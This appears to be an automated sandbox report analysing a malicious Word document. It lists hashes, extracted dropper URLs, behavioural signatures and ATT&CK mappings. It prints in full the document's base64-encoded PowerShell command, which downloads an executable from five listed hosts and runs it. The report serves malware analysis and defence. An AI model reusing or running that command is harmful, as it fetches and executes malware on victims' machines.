2ec3f8494cb4c00abe5d1a93175d801a5fc0c01748f3791cf18092983eda287f

General

Target

sample.doc
Size

169KB
MD5

28b09e17a8819c703bd6600e62b5407a
SHA1

363b51c1f483093eae802ad6939363a50bbf9b4d
SHA256

23f6ed44eda0ab1b7274653b618ac891a8cbd3c467f8b658297cf68173bb842f
SHA512

7e1408590957ab36dc608f3a4c5fd5dc81ce71032796fefd30257b4fd2f782b824268e20745c7a450c56dc0e12888ea6377f3e4f420ae93001cdfcfb8628d7cf

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://manandvanwaterlooville.co.uk/wp-admin/prX892/

exe.dropper

https://uniral.com/captchasignup/4J579681/

exe.dropper

https://scyzm.net/lkx7/lqoH8S/

exe.dropper

https://amagna.nl/DZ9MzAobu3/37Z/

exe.dropper

https://nilinkeji.com/online/90fb31/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powersheLL.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1636	4100	powersheLL.exe

Blocklisted process makes network request 6 IoCs

Processes:

powersheLL.exe

flow pid process

20 1636 powersheLL.exe
30 1636 powersheLL.exe
40 1636 powersheLL.exe
42 1636 powersheLL.exe
45 1636 powersheLL.exe
47 1636 powersheLL.exe

flow	pid	process
20	1636	powersheLL.exe
30	1636	powersheLL.exe
40	1636	powersheLL.exe
42	1636	powersheLL.exe
45	1636	powersheLL.exe
47	1636	powersheLL.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

1740 WINWORD.EXE
1740 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powersheLL.exe

pid process

1636 powersheLL.exe
1636 powersheLL.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powersheLL.exe

description pid process

Token: SeDebugPrivilege 1636 powersheLL.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

1740 WINWORD.EXE
1740 WINWORD.EXE
1740 WINWORD.EXE
1740 WINWORD.EXE
1740 WINWORD.EXE
1740 WINWORD.EXE
1740 WINWORD.EXE

pid	process
1740	WINWORD.EXE
1740	WINWORD.EXE

pid	process
1636	powersheLL.exe
1636	powersheLL.exe

description	pid	process
Token: SeDebugPrivilege	1636	powersheLL.exe

pid	process
1740	WINWORD.EXE
1740	WINWORD.EXE
1740	WINWORD.EXE
1740	WINWORD.EXE
1740	WINWORD.EXE
1740	WINWORD.EXE
1740	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\sample.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1740

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABWAEEARgBHAEsAaQBqAGMAPQAnAEoAQwBNAEQATQBiAHgAYQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAARQBgAEMAdQBSAGkAVABZAFAAUgBPAFQAYABvAGMAbwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAQQBXAEUAVgBSAGYAaQBzACAAPQAgACcANAAzADIAJwA7ACQAUQBNAFgAVQBNAHQAcQB4AD0AJwBIAFgAVwBTAFEAcABjAGwAJwA7ACQATABaAEYASQBYAGgAdQB2AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABBAFcARQBWAFIAZgBpAHMAKwAnAC4AZQB4AGUAJwA7ACQARQBQAFcAWgBWAGMAbAB0AD0AJwBXAEoAQwBZAFIAdQB5AGMAJwA7ACQARABVAEMASwBOAG8AbABsAD0ALgAoACcAbgAnACsAJwBlAHcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABuAGUAVAAuAFcAZQBiAEMATABJAGUATgBUADsAJABZAEoARgBQAEkAcwByAHUAPQAnAGgAdAB0AHAAOgAvAC8AbQBhAG4AYQBuAGQAdgBhAG4AdwBhAHQAZQByAGwAbwBvAHYAaQBsAGwAZQAuAGMAbwAuAHUAawAvAHcAcAAtAGEAZABtAGkAbgAvAHAAcgBYADgAOQAyAC8AKgBoAHQAdABwAHMAOgAvAC8AdQBuAGkAcgBhAGwALgBjAG8AbQAvAGMAYQBwAHQAYwBoAGEAcwBpAGcAbgB1AHAALwA0AEoANQA3ADkANgA4ADEALwAqAGgAdAB0AHAAcwA6AC8ALwBzAGMAeQB6AG0ALgBuAGUAdAAvAGwAawB4ADcALwBsAHEAbwBIADgAUwAvACoAaAB0AHQAcABzADoALwAvAGEAbQBhAGcAbgBhAC4AbgBsAC8ARABaADkATQB6AEEAbwBiAHUAMwAvADMANwBaAC8AKgBoAHQAdABwAHMAOgAvAC8AbgBpAGwAaQBuAGsAZQBqAGkALgBjAG8AbQAvAG8AbgBsAGkAbgBlAC8AOQAwAGYAYgAzADEALwAnAC4AIgBTAGAAcABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFgARwBTAE0AVQBsAGEAdQA9ACcATgBKAFcATwBLAHEAbAB2ACcAOwBmAG8AcgBlAGEAYwBoACgAJABEAE8AQgBCAEkAeQB5AG0AIABpAG4AIAAkAFkASgBGAFAASQBzAHIAdQApAHsAdAByAHkAewAkAEQAVQBDAEsATgBvAGwAbAAuACIAZABvAHcAYABOAGwATwBhAEQAYABGAEkAbABFACIAKAAkAEQATwBCAEIASQB5AHkAbQAsACAAJABMAFoARgBJAFgAaAB1AHYAKQA7ACQATgBRAFIAVgBKAHQAaAB0AD0AJwBHAEoARwBCAFUAbgBzAGUAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABMAFoARgBJAFgAaAB1AHYAKQAuACIATABgAGUAbgBgAEcAVABIACIAIAAtAGcAZQAgADIANAAwADUANAApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwByAEUAYABBAFQARQAiACgAJABMAFoARgBJAFgAaAB1AHYAKQA7ACQAUwBWAEwAWgBBAHYAeQBrAD0AJwBJAFoATQBNAFYAeQBrAGwAJwA7AGIAcgBlAGEAawA7ACQAQwBXAFoARgBBAHgAdABsAD0AJwBMAE8ASQBXAEcAbABzAGQAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQwBSAFEAWgBLAGoAcgBsAD0AJwBUAFcASwBEAEoAYwBtAGIAJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1636

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/1636-148-0x000001AF079F0000-0x000001AF07A12000-memory.dmp

Filesize
136KB

Download
memory/1636-150-0x00007FFB42EF0000-0x00007FFB439B1000-memory.dmp

Filesize
10.8MB

Download
memory/1740-143-0x000002F7A3EA1000-0x000002F7A3F06000-memory.dmp

Filesize
404KB

Download
memory/1740-134-0x00007FFB2DF70000-0x00007FFB2DF80000-memory.dmp

Filesize
64KB

Download
memory/1740-144-0x000002F7A3EA1000-0x000002F7A3F06000-memory.dmp

Filesize
404KB

Download
memory/1740-135-0x00007FFB2B9D0000-0x00007FFB2B9E0000-memory.dmp

Filesize
64KB

Download
memory/1740-136-0x00007FFB2B9D0000-0x00007FFB2B9E0000-memory.dmp

Filesize
64KB

Download
memory/1740-138-0x000002F7A3EA1000-0x000002F7A3F06000-memory.dmp

Filesize
404KB

Download
memory/1740-137-0x000002F7A3EA1000-0x000002F7A3F06000-memory.dmp

Filesize
404KB

Download
memory/1740-139-0x000002F7AB3A0000-0x000002F7AB3A4000-memory.dmp

Filesize
16KB

Download
memory/1740-145-0x000002F7A3EA1000-0x000002F7A3F06000-memory.dmp

Filesize
404KB

Download
memory/1740-142-0x000002F7A3EA1000-0x000002F7A3F06000-memory.dmp

Filesize
404KB

Download
memory/1740-155-0x00007FFB2DF70000-0x00007FFB2DF80000-memory.dmp

Filesize
64KB

Download
memory/1740-133-0x00007FFB2DF70000-0x00007FFB2DF80000-memory.dmp

Filesize
64KB

Download
memory/1740-140-0x000002F7A3EA1000-0x000002F7A3F06000-memory.dmp

Filesize
404KB

Download
memory/1740-146-0x000002F7A7251000-0x000002F7A7253000-memory.dmp

Filesize
8KB

Download
memory/1740-147-0x000002F7A3EA1000-0x000002F7A3F06000-memory.dmp

Filesize
404KB

Download
memory/1740-132-0x00007FFB2DF70000-0x00007FFB2DF80000-memory.dmp

Filesize
64KB

Download
memory/1740-149-0x000002F7A7251000-0x000002F7A7253000-memory.dmp

Filesize
8KB

Download
memory/1740-131-0x00007FFB2DF70000-0x00007FFB2DF80000-memory.dmp

Filesize
64KB

Download
memory/1740-152-0x00007FFB2DF70000-0x00007FFB2DF80000-memory.dmp

Filesize
64KB

Download
memory/1740-153-0x00007FFB2DF70000-0x00007FFB2DF80000-memory.dmp

Filesize
64KB

Download
memory/1740-154-0x00007FFB2DF70000-0x00007FFB2DF80000-memory.dmp

Filesize
64KB

Download
memory/1740-130-0x00007FFB2DF70000-0x00007FFB2DF80000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads